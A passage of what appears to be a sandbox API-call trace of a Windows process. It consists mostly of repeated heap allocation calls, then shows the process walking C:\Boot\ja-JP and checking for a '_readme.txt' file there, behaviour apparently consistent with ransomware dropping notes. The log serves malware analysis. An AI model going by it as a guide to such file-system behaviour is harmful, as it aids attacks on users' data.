HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.326] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.326] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.326] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.326] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.326] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.326] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.326] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.326] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.326] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.326] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.326] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.326] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.326] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.326] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.326] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.329] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0122.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.330] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.330] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.330] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.330] PathFindFileNameW (pszPath="") returned="" [0122.330] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.330] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.330] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.330] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.330] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.330] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x3067040 [0122.330] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.330] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.330] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.330] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.331] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x81c) returned 0x3067040 [0122.331] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0122.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.331] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0122.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.332] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, 